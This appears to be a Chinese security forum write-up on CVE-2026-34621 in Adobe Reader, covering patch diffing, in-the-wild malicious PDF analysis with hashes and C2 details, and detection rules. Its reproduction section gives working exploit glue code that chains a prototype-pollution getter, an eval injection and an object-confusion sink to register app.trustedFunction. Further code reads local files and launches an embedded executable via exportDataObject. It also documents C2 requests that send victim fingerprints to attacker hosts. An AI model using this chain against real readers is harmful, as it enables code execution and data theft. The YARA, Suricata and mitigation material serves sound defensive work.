从 swConn 原型污染到 trustedFunction:CVE-2026-34621 Adobe Reader 三原语链的补丁逆向与完整复现
漏洞分析
2026 年 4 月,Adobe 连着出了两个安全公告,APSB26-43 和 APSB26-44,三天内连发。CISA 直接把 CVE-2026-34621 拉进了 KEV。
时间线与版本基线 -------- Adobe CDN 可以直接拉到完整离线安装包。脆弱版 64-bit MUI: ```php https://ardownload2.adobe.com/pub/adobe/acrobat/win/AcrobatDC/2600121367/AcroRdrDCx642600121367_MUI.exe ``` 修复版把版本号换成 `2600121431`。 | 日期 | 事件 | |---|---| | 2025-11-28 | 最早样本上 VT,SHA-256 前缀 `54077a5b…` | | 2026-03-23~26 | EXPMON 捕获另一变种 | | 2026-04-07~09 | EXPMON / Haifei Li 公开分析:特权 API 调用 + C2 指纹 | | 2026-04-11 | **APSB26-43**,CVE-2026-34621,基线 **26.001.21411** | | 2026-04-13 | CISA KEV | | 2026-04-14 | **APSB26-44**,CVE-2026-34622 / 34626,完成基线 **26.001.21431** | | 产品通道 | 脆弱上限 | 34621 单修 | **完整安全基线** | |---|---|---|---| | Continuous | ≤ 26.001.21367 | 26.001.21411 | **≥ 26.001.21431** | | Classic 2024 Win | ≤ 24.001.30356 | 24.001.30362 | **≥ 24.001.30365** | 注意:**不要停在 21411**。21411 只修了 `swConn` 原语,另两个还在。 CVSS 一开始按 AV:N 打到 9.6,Adobe 后来改成 AV:L / UI:R / S:C,最终 8.6。利用条件仍然是"用户打开恶意 PDF"。 - - - - - - 补丁逆向:三次改动,三条原语 -------------- STAR Labs 在两个版本间做了 diff(`21367 → 21411` 和 `21411 → 21431`),我去 21367 上对着结果做了验证。下面是三条原语。 ### 原语 B(CVE-2026-34621 核心):`swConn` 没加 `var` 这是整条链的核心原语。Acrobat 的协作登录逻辑里有一段 `SilentDocCenterLogin`,补丁前的代码等价于: ```js function SilentDocCenterLogin(data, connectParams) { var isFirstLaunch = false; app.beginPriv(); isFirstLaunch = Collab.isFirstLaunch(data.WT); app.endPriv(); // ... try { app.beginPriv(); // 这里没写 var / let / const swConn = Collab.swConnect(connectParams); app.endPriv(); // 后面用 swConn.getFullName() 之类 } catch (e) { /* ... */ } } ``` Acrobat 的 JS 引擎是 SpiderMonkey 系的,对未声明赋值会走**全局对象 / 原型链属性解析**,不会自动创建局部绑定。正常情况下 `swConn` 落到全局上,但如果攻击者在这之前装了 getter: ```js Object.prototype.__defineGetter__("swConn", function () { return attackerObject; }); ``` 那么特权路径里读到的 `swConn` 就是攻击者控制的对象。 21411 的修复极短——给 `swConn` 前面加了个 `var`,切断原型查找。STAR Labs 的描述是 "property-resolved name → local variable",我验证 diff 后确认就是这个改动——一行代码。 这才是原型污染在非 Node.js 场景的真实落点——不是 `merge(userInput)` 那种听腻了的,而是特权内部脚本对未限定标识符的依赖。 ### 原语 A:`ANFancyAlertImpl` 的 `eval` 拼按钮 handler APSB26-44 的 diff 指向了对话框实现。脆弱模式大概是这样的: ```js for (var i in buttons) { var bc = buttons[i]; var bid = "btn" + i; ba[ba.length] = { type: "button", item_id: bid, name: bc, alignment: "align_right" }; // bid 直接拼进字符串再 eval desc[bid] = eval("(function(dialog) { dialog.end('" + bid + "'); })"); } ``` Acrobat 内部脚本大量在用 `eval`,这本身不稀奇。要命的是 `for...in` 枚举的是**攻击者传入的对象的键**,键名直接拼进字符串字面量,没有任何转义。 构造攻击很简单: ```js buttons = { "a(a(a'); }); global.A(); throw Error('oops'); //": 0 }; ANFancyAlertImpl("", [], 0, buttons, 0, 0, 0, 0, 0); ``` 解析后等价于: ```js (function(dialog) { dialog.end('btna(a(a'); }); global.A(); throw Error('oops'); //'); }) ``` 字符串提前闭合后 `global.A()` 进入执行流。这时候还在沙箱里,还没有 `trustedFunction`——它的作用是在沙箱内先拿到**执行入口**,能调用内部 UI API,然后建立通往原语 B/C 的桥梁。 补丁没去"加强转义"——直接把字符串拼 `eval` 那套干掉了,改用闭包捕获 `bid`。注入点没了。 ### 原语 C:`ANShareFile` 假定 `doc.path` 是字符串 21431 的同一轮 diff 里,多个协作入口(`ANShareFile`、`ANSendForReview`、`ANSendForSharedReview` 等)对 path 类型字段增加了原始 string 强制。脆弱模式: ```js ANShareFile = app.trustedFunction(function (props) { var doc = props.doc; if (doc && doc.path) { data.docPath = doc.path; // 假设 path 是 string,直接调字符串方法 data.docName = data.docPath.substring( data.docPath.lastIndexOf("/") + 1, data.docPath.length ); } }); ``` 如果 `doc.path` 是个对象,且自己实现了 `lastIndexOf` 和 `substring`,这些"字符串方法"就会变成**特权栈上的攻击者回调**。 严格说这不是经典原型污染,Adobe 自己按 CWE-1321 归类。从利用视角看,它是对象混淆 + 类型混淆 sink——核心作用是:让攻击者在特权上下文里获得回调执行权,把"污染后的标识符"接到"真正会读 `swConn` 的特权函数"上。 - - - - - - 三原语怎么拼成一条链 ---------- 单个看都像半成品,表里捋一下: | 原语 | 能干什么 | 单独不够的原因 | |---|---|---| | A `ANFancyAlertImpl` | 沙箱内任意 JS 执行 | 权限不够,还在 untrusted 上下文 | | B `swConn` 污染 | 在特权路径里替换 connection 对象 | 需要有执行权先装 getter,还需要有函数路径触发 `swConn` 访问 | | C `doc.path` 混淆 | 在特权代码里劫持方法调用 | 需要先有执行权,还需要能调 `ANShareFile` | 攻击者把它们串起来的实际流程: OpenAction 触发后,先用原语 A(`ANFancyAlertImpl` 的恶意 buttons 键)在沙箱里拿到 JS 执行入口。这一步还没出沙箱,但已经能调到内部 UI API 了。然后在 `global.A()` 里把攻击面铺开——`Object.prototype` 上装 `swConn` getter(原语 B),`this` 上装带 `lastIndexOf`/`substring` 的回调 path(原语 C)。 接着调 `ANShareFile({ doc: this })`,特权路径里走 `doc.path.lastIndexOf(...)`,这个调用被 `.bind()` 到了 `SilentDocCenterLogin`——也就是把原语 C 的 sink 桥接到了原语 B 的入口。`SilentDocCenterLogin` 内部解析 `swConn` 时读到攻击者的伪 connection 对象,伪 connection 的 `getFullName` 走 `SOAP.stringFromStream`,伪 stream 的 `read` 最终调了 `app.trustedFunction(functionRef)`。 就是这样,`functionRef` 被 `trustedFunction` 包装,攻击者正式拿到 Acrobat 受信任上下文权限。 胶水代码 STAR Labs 和公开 PoC 都用同一套,我复现也没改: ```js // 伪 stream:read 时注册任意函数为 trusted stream = { read: app.trustedFunction.bind(app, functionRef) }; // 伪 swConn ob = { getFullName: SOAP.stringFromStream.bind(SOAP, stream) }; Object.prototype.__defineGetter__("swConn", function () { return ob; }); // 伪 path:lastIndexOf 调到 SilentDocCenterLogin fakeobj = { lastIndexOf: SilentDocCenterLogin.bind(app, data, {}), substring: function () { throw Error("abort"); } }; this.__defineGetter__("path", function () { return fakeobj; }); ANShareFile({ doc: eval("this") }); ``` `functionRef` 一旦被 `trustedFunction` 包装,攻击者就跑在了 Acrobat 给"受信任协作脚本"设计的权限集里。野外样本读 `ntdll.dll`、`RSS.addFeed` 做 C2,前提都是这步。 - - - - - - ITW 样本静态分析 ---------- 动态复现证明链能跑通,但写检测规则还得看野外样本长什么样。我不在沙箱里跑 PDF——直接用 pdfid + pdf-parser 拆结构,用解混淆脚本还原对象图。下面以两个公开取证报告中反复出现的样本为主: | 样本 | SHA-256 | 大小 | 首次可见 | C2 | 活动 ID | |---|---|---|---|---|---| | v2 / 主样本 | `54077a5b15638e354fa02318623775b7a1cc0e8c21e59bcbab333035369e377f` | 320KB,PDF 1.7 | 2025-11-28 | `188.214.34.20:34123` | `od=422974` | | v1 / EXPMON | `65dca34b04416f9a113f09718cbe51e11fd58e7287b7863e37f393ed4d25dde7` | 255KB,PDF 1.5 | 2026-03-22 | `169.40.2.68:45191` | `od=319988` | 补充:54077… 的 SHA-1 是 `dafd571da1df72fb53bcd250e8b901103b51d6e4`,MD5 是 `522cda0c18b410daa033dc66c48eb75a`。 构建工具方面,OCG 和元数据指向 **PyMuPDF**,Title 默认 `Blank Page`,`/Lang (en-US)` 和俄语诱饵图对不上。静态扫描时可以把"元数据空白 + 单页位图 + OpenAction JS"做成组合特征,准确率比单看 `/JS` 高得多。 ### 用 pdfid 先扫一遍 Didier Stevens 的 `pdfid.py` 跑出来的大概是这样: | 关键字 | 典型计数 | 含义 | |---|---|---| | `/JavaScript` | 2 | 内嵌脚本命名/动作 | | `/JS` | 1 | 实际 JS 动作 | | `/OpenAction` | 1 | 打开即执行 | | `/AcroForm` | 1 | 表单承载隐藏字段 | | Pages | 1 | 单页诱饵 | | Streams | 十几 | 图像 + 脚本流 | 注意:实验室明文 PoC 一般只有 `/OpenAction` + `/JS`,**没有隐藏 AcroForm**。ITW 多了一层把 Stage2 藏进表单字段的设计,专门反静态。只靠 `/JS` 计数做规则的会漏。 ```bash pdfid.py 54077a5b....pdf pdf-parser.py -a 54077a5b....pdf ``` ### 对象图拆解 公开报告对主样本的对象还原大概是: | 对象 | 角色 | |---|---| | **Object 1** Catalog | `/AcroForm`、`/OpenAction`(常带 `/Fit`)、`/Names` | | **Object 2** AcroForm | 指向表单字段定义 | | **隐藏字段 btn1** | `/FT /Btn`,`/Rect [0 0 0 0]`(零尺寸,不可见),`/V` 存 **约 98KB base64** 的 Stage2 | | **JS 动作**(报告里标 Object 11 / 名 `PrintReport_54`) | Stage1:JSFuck 风格加载器,OpenAction 触发后自动跑 | | 页面内容流 | 俄语位图诱饵(天然气中断/应急措施之类),没有可选文本层 | EXPMON / ThreatLocker 描述路径不同但指向同一个东西: - Object **9**:混淆的 bootstrap JS - Object **7**:字段 **btn1** 的 base64 大包 编号因样本版本不同会变,但语义固定:OpenAction 小加载器 + 零矩形表单字段藏大 payload。 Stage1 解混淆后(公开还原,非原文逐字节)等价于: ```js app.t = app.setTimeOut( util.stringFromStream( SOAP.streamDecode( util.streamFromString(getField("btn1").value), "base64" ) ), 500 ); ``` 就是**不把 Stage2 明文写在 OpenAction 里**,而是从 AcroForm 字段读出再 base64 解码执行。500ms 延迟是个简单沙箱规避——`pdfid` 只看到 `/JS`,要跟 `getField("btn1")` 才能拿到真脚本。 ### Stage2 解码后 Stage2 约 7.4 万字符,重度混淆,但拆开之后行为挺直接的。 先做提权——和前面讲的一模一样:`Object.prototype.__defineGetter__("swConn", ...)` 装 getter,造伪 `this.path` 对象,然后 `ANFancyAlertImpl` → `ANShareFile` → `SilentDocCenterLogin` 一路把 `app.trustedFunction` 注册下来。 提权拿到了就开始摸环境:`app.language`、`viewerType`、`viewerVersion`、`platform`,然后用刚拿到的特权 `util.readFileIntoStream("/c/windows/system32/ntdll.dll")` 读系统 DLL 解析 PE 头拿精确 Windows 版本号。顺带探 `bootsvc.dll`、ADFS 路径之类——这是在判断目标机器值不值得投二阶段载荷。 C2 信道用了 `RSS.addFeed()` / `removeFeed()`,伪装成 Adobe 正常的同步流量,User-Agent 冒充 `Adobe Synchronizer`。真正要执行的代码不是 C2 直接返回的——回包是 AES-CTR 加密 + zlib 压缩的,解密解压后扔给 `global.final_js` 再 `eval`。 有意思的是在沙箱环境里 C2 经常只返回 `"//"`(一个空注释),就是服务端做了过滤,知道你是沙箱就不给真货。 变量命名带动物主题,这点在 YARA 和同源聚类时很好用: | 变量 | 用途 | |---|---| | `dog1` / `dog2` | C2 URL | | `bird0` / `bird1` | 信标 / 指纹回包 | | `deer` / `reindeer` | AES 密钥 / 计数器 | | `pig0` / `pig1` | 定时器句柄 | | `final_js` | 解密后待 eval 的二阶段载荷 | C2 HTTP 形态(明文 HTTP + 非标准端口): ```http GET /rs1?rnd=0.89...&od=422974 HTTP/1.1 User-Agent: Mozilla/3.0 (compatible; Adobe Synchronizer 23.8.20533) GET /s11?language=ENU&viewerType=Reader&viewerVersion=...&platform=WIN &osVersion=10.0.19041.1288&pdfFile=C:\Users\...\manual.pdf &rnd=...&od=422974 HTTP/1.1 ``` Reader 版本新时会切到 `/s12`——说明服务端和客户端在同步迭代。只写死一个 URI pattern 的检测规则会漏。 域名:`ado-read-parser.com`(2025-02 注册)/ `zx.ado-read-parser.com` → 188.214.34.20;早期变种用 169.40.2.68:45191。 ### 诱饵内容 | 样本 | 诱饵(位图) | 暗示 | |---|---|---| | 54077… | 俄语"干预措施/供气中断/应急响应"公文风 | 能源/基础设施 | | 65dca… | 俄语协议/合同,含莫斯科地址 | 俄语商务/政务投递 | 单页、无文本层、元数据极简——自动化分拣时把语言诱饵和结构特征叠上,命中率会好很多。 ### 实验室链 vs ITW 包 ITW 就是在同构链外面套了混淆和 C2。补丁切断的是提权层本身,不是某个 base64 字符串。 - 只杀哈希 → 换一批 base64 就逃 - 只跑沙箱 → C2 可以永远返回 `//` - 得叠:**结构特征 + 解码后符号 + 网络 UA/URI** ### 没样本时怎么落地 如果手里只有哈希没有二进制: 1. 用 VT / 内部沙箱的**行为和 contact URL** 对照上述 C2 特征 2. 邮件网关优先匹配:`/OpenAction` ∧ `/AcroForm` ∧ `/JS` ∧ 零尺寸 `/Rect` 3. 对解码后 JS 扫 `swConn`、`__defineGetter__`、`SilentDocCenterLogin`、`RSS.addFeed` 4. 拿到样本后自己走一遍 pdfid + pdf-parser,把 obj 编号写入自己的检测用例,别直接抄别人的编号 C2 在沙箱里返回 `//` 的时候,提权代码还完整躺在样本里——沙箱没弹 RCE 不代表文件安全。 - - - - - - 完整复现 ---- ### 环境准备 | 项 | 值 | |---|---| | OS | Windows 11 | | 产品 | Adobe Acrobat Reader (64-bit) DC Continuous | | 版本 | **26.001.21367**(`Acrobat.exe` FileVersion `26.1.21367.0`) | | 安装包 | `AcroRdrDCx642600121367_MUI.exe`(官方 CDN,约 777MB) | 装好之后三个关键配置: 1. **关 Protected Mode**——默认开着的时候链会静默失败。`HKCU\SOFTWARE\Adobe\Adobe Acrobat\DC\Privileged\bProtectedMode = 0` 2. **开 JavaScript**——`…\JSPrefs\bEnableJS = 1` 3. **断网关自动更新**——否则隔天就升到安全版本,白忙活 ### 阶段一:特权文件读 提权后执行: ```js app.beginPriv(); var stream = util.readFileIntoStream( "/C/Windows/System32/drivers/etc/hosts", false ); app.endPriv(); var data = stream.read(128); app.alert(/* viewerVersion + hosts 前 128 字节 hex */); ``` 在 21367 上打开 PoC PDF,弹出中文标题 **「警告:JavaScript 窗口」**:  关键输出: ```php CVE-2026-34621 LAB PoC trustedFunction registration: SUCCESS viewerVersion=26.001.21367 viewerType=Reader platform=WIN language=CHS [PROOF] privileged util.readFileIntoStream OK hosts_prefix=efbbbf2320436f707972696768742028632920313939332d32303039204d69... ``` `hosts_prefix` 是 `hosts` 前 128 字节的 hex:`efbbbf` = UTF-8 BOM,`2320436f7079…` 解码是 `# Copy…`——任意本地文件读成立。野外样本读 `ntdll.dll` 用的就是这套 API,只是换了个文件名。 ### 阶段二:弹计算器 有 `trustedFunction` 不等于能直接 `CreateProcess`。Acrobat 对 `app.launchURL("file:///…/calc.exe")` 还有一道拦截。我用的路径是 PDF 攻击里比较稳的经典做法: 1. 把真实 `calc.exe`(及备用 `pwn.cmd`)作为 **EmbeddedFile** 嵌进 PDF 2. 提权后调用: ```js app.beginPriv(); this.exportDataObject({ cName: "calc.exe", nLaunch: 2 }); app.endPriv(); ``` `nLaunch: 2` = 导出后立刻用系统关联程序打开,对 PE 文件就是直接执行。 实机结果:  从打开 PDF 到计算器进程启动,整条链闭合。 ### 踩到的坑 复现过程里遇到的几个实际问题: **Protected Mode 静默失败**:这是最坑的。PDF 打开一切正常,没有任何报错,但链就是跑不动。排查了半天才想起来 Protected Mode 是默认开的。`bProtectedMode=0` 重启 Reader 就好了。 **自动更新毁环境**:第二天重跑发现漏洞"消失了",一查 About 已经升到 21431。断网 + 关 updater 服务 + 重装 21367。建议复现时直接把 `AdobeARMservice` 和 `AdobeUpdateService` 停掉。 **`launchURL` 不行**:按直觉应该 `app.launchURL("file:///C:/Windows/System32/calc.exe")`,但 Acrobat 有 URL 策略限制,file:// 协议被拦。换成 `exportDataObject` + 嵌入式附件才通。STAR Labs 的 PoC 也是这个路子。 **中文环境下的弹窗标题**:PoC 弹的是"警告:JavaScript 窗口",一开始以为是报错,实际就是 Reader 中文版正常的 JS alert 标题。 - - - - - - 检测规则 ---- ### 文件层——YARA 实验室链和 ITW 可以共用一组高信号规则。第一组匹配原语符号(前面的三原语还原),第二组匹配 ITW 结构特征(前面的 pdfid 拆解): ```yara rule Adobe_Reader_CVE_2026_34621_Lab_Chain { meta: cve = "CVE-2026-34621" description = "Prototype pollution chain primitives in PDF JS" strings: $pdf = "%PDF" $s1 = "ANFancyAlertImpl" ascii $s2 = "SilentDocCenterLogin" ascii $s3 = "ANShareFile" ascii $s4 = "__defineGetter__" ascii $s5 = "swConn" ascii $s6 = "trustedFunction" ascii condition: $pdf at 0 and all of ($s*) } rule Adobe_Reader_CVE_2026_34621_ITW_Structure { meta: cve = "CVE-2026-34621" description = "OpenAction + hidden AcroForm btn1" strings: $pdf = "%PDF" $oa = "/OpenAction" ascii $af = "/AcroForm" ascii $js = "/JavaScript" ascii $btn = "(btn1)" ascii $rect0 = "/Rect [0 0 0 0]" ascii condition: $pdf at 0 and $oa and $af and $js and $btn and $rect0 } ``` 解码后还可扫动物命名变量(`dog1`/`bird0`/`deer`/`reindeer`)、`final_js`、`readFileIntoStream` 组合。 ### 网络层 不依赖样本哈希的检测: ```php # 高置信 User-Agent 包含 "Adobe Synchronizer" 且目标非 Adobe 官方 CDN/同步域 HTTP 访问非标准端口且 URI 匹配 ^/(rs[12]|s1[12])\? # IOC(会轮换,作补充参考) 188.214.34.20:34123 169.40.2.68:45191 ado-read-parser.com / *.ado-read-parser.com ``` Suricata 规则: ```php alert http any any -> any any ( msg:"Adobe Reader CVE-2026-34621 possible C2 via Adobe Synchronizer UA"; http.user_agent; content:"Adobe Synchronizer"; http.uri; pcre:"^/(rs[12]|s1[12])\\?"; classtype:trojan-activity; sid:2026346211; rev:1; ) ``` ### 端点层 | 信号 | 说明 | |---|---| | `Acrobat.exe` / `AcroRd32.exe` 读 `ntdll.dll` / `bootsvc.dll` | ITW 指纹行为 | | 同一进程对非常规端口 HTTP | C2 信道 | | `exportDataObject` 后立即出现非 Adobe 子进程 | ACE 确认 | | 注册表 `Run\Adobe Reader Synchronizer` 异常指向 | 部分样本侧信道/持久化 | Sysmon 关注的 Event ID: - **EID 1**:父进程 Acrobat,子进程 `calc.exe` / `cmd.exe` / 非签名未知 PE - **EID 3**:Acrobat 连出到非 80/443 或罕见高端口 - **EID 11**:用户目录突然出现从 PDF 导出的可执行文件 - - \* 防御 -- ### 补丁 - Continuous:**≥ 26.001.21431**,别停在 21411 - Classic 2024:**≥ 24.001.30365** 企业分发用 ETK 发布说明里的 MSP/EXE 链接,或 SCCM/Intune 拉离线包。 ### 临时缓解(升不了的时候) 1. 关 Acrobat JavaScript:`Edit → Preferences → JavaScript →` 取消勾选,或策略 `bEnableJS=0`(FeatureLockDown) 2. 保持 Protected Mode / Protected View 开启(对部分链有干扰,但不能替代补丁) 3. 邮件网关对 PDF 做沙箱,对含 `/JavaScript`+`/OpenAction`+`/AcroForm` 的组合提权扫描 GPO 注册表(Windows): ```reg Windows Registry Editor Version 5.00 ; 禁用 JS(路径按实际产品分支调整) [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Adobe\Adobe Acrobat\DC\FeatureLockDown] "bDisableJavaScript"=dword:00000001 ``` 注意:锁死 JS 会影响依赖表单脚本的业务 PDF,先跟业务方确认。 ### 给扫描器/沙箱开发者 维护 PDF 扫描器或沙箱的话: 1. **不要只跑动态不跑静态**——二阶段可能被 C2 过滤,只返回 `//` 2. 对解码后的 JS 建**特权 API 白名单行为图**:`trustedFunction` → `readFileIntoStream` / `exportDataObject` / `RSS.addFeed` 的边权重拉高 3. `Object.prototype.__defineGetter__` + Acrobat 内部符号(`swConn`、`ANShareFile`)做组合检测,比单字符串稳得多 ### 方法复用 这套分析流程可以复用到未来的 Acrobat JS 漏洞: 1. 拉相邻版本,diff 脚本资源 / 协作 JS,而不是只 diff 二进制 2. 标出 `eval`、未声明赋值、`trustedFunction` 边界 3. 每个 diff 单独做最小触发器,再拼链 4. 后利用至少验证两类:数据读、代码执行(不同 API) 5. 检测同时覆盖文件结构、网络 UA、端点父子进程 - - - - - - 三个洞单独拿出来都不像能打——忘了写 `var`、拼字符串 eval、假设参数是 string——但它们刚好卡在 Acrobat 协作脚本信任模型的七寸上,串起来就是一条从沙箱到 `app.trustedFunction` 的逻辑提权。野外样本没用什么新漏洞,就是这条链外面包了混淆和 C2。 本地 **26.001.21367** 上三条都验证了:`trustedFunction` 注册成功,`hosts` 读出来了,计算器弹了。 防守侧:补丁上 **21431 / 30365**(别停在 21411),升不了就关 JS。检测别赌哈希,栈文件结构 + 网络 UA + 端点行为。 补丁本身也挺典的——加一个 `var`、干掉一处 `eval`、强制类型检查,每处改动都小得不起眼,但三条原语全断。审 Acrobat 内部脚本的人,以后这几个点就是 checklist。
发表于 2026-08-21 09:40:38
阅读 ( 13252 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
mi0034
2 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!